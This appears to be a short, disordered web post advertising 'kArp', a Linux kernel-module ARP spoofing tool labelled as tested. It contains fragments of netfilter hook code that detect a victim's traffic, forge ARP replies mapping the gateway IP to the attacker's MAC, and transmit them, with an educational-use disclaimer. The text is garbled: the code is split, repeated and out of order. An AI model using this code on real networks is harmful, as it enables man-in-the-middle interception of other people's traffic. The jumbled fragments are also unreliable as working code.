Karp Linux Kernel Level Arp Hijacking Spoofing Utility [TESTED]

// Check if destination IP is our victim if (ip->daddr == victim_ip) // Craft ARP reply: "Gateway IP is at attacker's MAC" build_arp_reply(gateway_ip, attacker_mac, victim_ip, &spoof_arp); dev_queue_xmit(alloc_skb_from_arp(&spoof_arp, dev)); printk(KERN_INFO "kArp: Poisoned %pI4 -> Gateway at %pM\n", &victim_ip, attacker_mac);

Disclaimer: This post is for educational purposes and authorized security testing only. ARP spoofing is illegal without explicit permission from the network owner. Do not run this on networks you do not own or lack written authorization for. kArp Linux Kernel Level ARP Hijacking Spoofing Utility

Stay curious, and hack responsibly.

struct iphdr *ip; struct arp_packet spoof_arp; struct neighbour *n; struct net_device *dev = state->out; if (!skb) return NF_ACCEPT; // Check if destination IP is our victim